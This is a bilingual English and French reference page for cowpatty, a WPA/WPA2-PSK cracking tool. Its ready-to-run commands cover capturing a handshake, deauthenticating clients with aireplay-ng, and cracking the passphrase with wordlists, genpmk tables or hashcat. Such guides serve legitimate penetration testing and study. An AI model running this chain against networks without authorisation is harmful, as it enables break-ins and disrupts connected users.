cowpatty
Outil d'attaque par dictionnaire hors ligne WPA/WPA2-PSK. Casse les 4-way handshakes capturés avec des wordlists ou des tables de hachages pré-calculées (rainbow tables) pour des attaques plus rapides. WPA/WPA2-PSK offline dictionary attack tool. Cracks captured 4-way handshakes using wordlists or pre-computed hash tables (rainbow tables) for faster attacks.
↗ https://github.com/joswr1ght/cowpattyOverview
cowpatty performs offline dictionary attacks against WPA/WPA2-PSK handshakes. It reads a captured 4-way handshake (from airodump-ng) and tests passphrases from a wordlist. Optionally uses pre-computed PBKDF2 hash tables (generated with genpmk) to massively speed up attacks against specific SSIDs.
Basic Usage
Dictionary attack against captured handshake
cowpatty -f /usr/share/wordlists/rockyou.txt -r capture.cap -s "NetworkSSID"
With pre-computed hash file (much faster)
cowpatty -d hashes.db -r capture.cap -s "NetworkSSID"
Quiet mode (less output)
cowpatty -f wordlist.txt -r capture.cap -s "NetworkSSID" -q
Capturing the Handshake
# Step 1: Put card in monitor mode
airmon-ng check kill
airmon-ng start wlan0
# Step 2: Find target and capture
airodump-ng wlan0mon
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
Step 3: Force client reconnect (deauth)
aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF wlan0mon
# Step 4: Wait for "WPA handshake:" message in airodump
# capture.cap now contains the handshake
Pre-computed Hash Tables (genpmk)
Generate PBKDF2 hash table for a specific SSID (slow to generate, fast to use — works only for this exact SSID)
genpmk -f /usr/share/wordlists/rockyou.txt -d hashes.db -s "HomeNetwork"
# This pre-computes: PBKDF2(passphrase, SSID, 4096, 256)
# for every word in the wordlist
Then attack with pre-computed table
cowpatty -d hashes.db -r capture.cap -s "HomeNetwork"
→ Much faster than per-passphrase computation
Performance Comparison
cowpatty (CPU, dictionary): ~100-300 PMKs/sec
cowpatty (pre-computed table): ~50,000-100,000 PMKs/sec
hashcat (GPU, mode 22000): ~200,000-2,000,000 PMKs/sec
→ For speed: use hashcat with hcxtools (convert to .hc22000 format)
→ cowpatty is educational/fallback when GPU isn't available
Hashcat Workflow (Recommended Alternative)
Convert handshake for hashcat (faster than cowpatty)
hcxpcapngtool -o hash.hc22000 capture.cap
Crack with GPU
hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt
Show cracked passwords
hashcat -m 22000 hash.hc22000 --show
Tips
- cowpatty is CPU-only — hashcat on a GPU is 100-1000x faster for WPA cracking
- Pre-computed tables (genpmk) only work for the exact SSID they were generated for
- Rainbow tables for WPA are large but available online for common SSIDs (e.g., “linksys”, “default”)
- Always convert with hcxtools and use hashcat for production cracking
Help / Man page
cowpatty [options]
-f FILE Wordlist file (dictionary mode)
-d FILE Pre-computed hash file (rainbow table mode)
-r FILE Packet capture file (with handshake)
-s SSID Target SSID (required)
-q Quiet mode (suppress progress)
-v Verbose mode
genpmk (generates pre-computed hash tables):
-f FILE Wordlist input file
-d FILE Output hash file
-s SSID SSID for hash computation
Vue d’ensemble
cowpatty mène des attaques par dictionnaire hors ligne contre les handshakes WPA/WPA2-PSK. Il lit un 4-way handshake capturé (depuis airodump-ng) et teste des passphrases d’une wordlist. Il peut optionnellement utiliser des tables de hachages PBKDF2 pré-calculées (générées avec genpmk) pour accélérer massivement les attaques contre des SSID précis.
Utilisation de base
# Attaque par dictionnaire contre un handshake capturé
cowpatty -f /usr/share/wordlists/rockyou.txt -r capture.cap -s "NetworkSSID"
# Avec un fichier de hachages pré-calculés (bien plus rapide)
cowpatty -d hashes.db -r capture.cap -s "NetworkSSID"
# Mode silencieux (moins de sortie)
cowpatty -f wordlist.txt -r capture.cap -s "NetworkSSID" -q
Capturer le handshake
# Étape 1 : passer la carte en mode monitor
airmon-ng check kill
airmon-ng start wlan0
# Étape 2 : trouver la cible et capturer
airodump-ng wlan0mon
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
# Étape 3 : forcer la reconnexion du client (deauth)
aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF wlan0mon
# Étape 4 : attendre le message "WPA handshake:" dans airodump
# capture.cap contient maintenant le handshake
Tables de hachages pré-calculées (genpmk)
# Générer une table de hachages PBKDF2 pour un SSID précis
# (lente à générer, rapide à utiliser : ne fonctionne que pour ce SSID exact)
genpmk -f /usr/share/wordlists/rockyou.txt -d hashes.db -s "HomeNetwork"
# Cela pré-calcule : PBKDF2(passphrase, SSID, 4096, 256)
# pour chaque mot de la wordlist
# Puis attaquer avec la table pré-calculée
cowpatty -d hashes.db -r capture.cap -s "HomeNetwork"
# → Bien plus rapide que le calcul par passphrase
Comparaison de performances
cowpatty (CPU, dictionnaire) : ~100-300 PMK/sec
cowpatty (table pré-calculée) : ~50 000-100 000 PMK/sec
hashcat (GPU, mode 22000) : ~200 000-2 000 000 PMK/sec
→ Pour la vitesse : utilisez hashcat avec hcxtools (convertir au format .hc22000)
→ cowpatty est éducatif / une solution de repli quand le GPU n'est pas disponible
Workflow Hashcat (alternative recommandée)
# Convertir le handshake pour hashcat (plus rapide que cowpatty)
hcxpcapngtool -o hash.hc22000 capture.cap
# Cracker avec le GPU
hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt
# Afficher les mots de passe cassés
hashcat -m 22000 hash.hc22000 --show
Conseils
- cowpatty est CPU uniquement : hashcat sur un GPU est 100 à 1000x plus rapide pour le crack WPA
- Les tables pré-calculées (genpmk) ne fonctionnent que pour le SSID exact pour lequel elles ont été générées
- Les rainbow tables pour WPA sont volumineuses mais disponibles en ligne pour les SSID courants (par ex. “linksys”, “default”)
- Convertissez toujours avec hcxtools et utilisez hashcat pour le crack en production
Aide / Page de manuel
cowpatty [options]
-f FILE Wordlist file (dictionary mode)
-d FILE Pre-computed hash file (rainbow table mode)
-r FILE Packet capture file (with handshake)
-s SSID Target SSID (required)
-q Quiet mode (suppress progress)
-v Verbose mode
genpmk (generates pre-computed hash tables):
-f FILE Wordlist input file
-d FILE Output hash file
-s SSID SSID for hash computation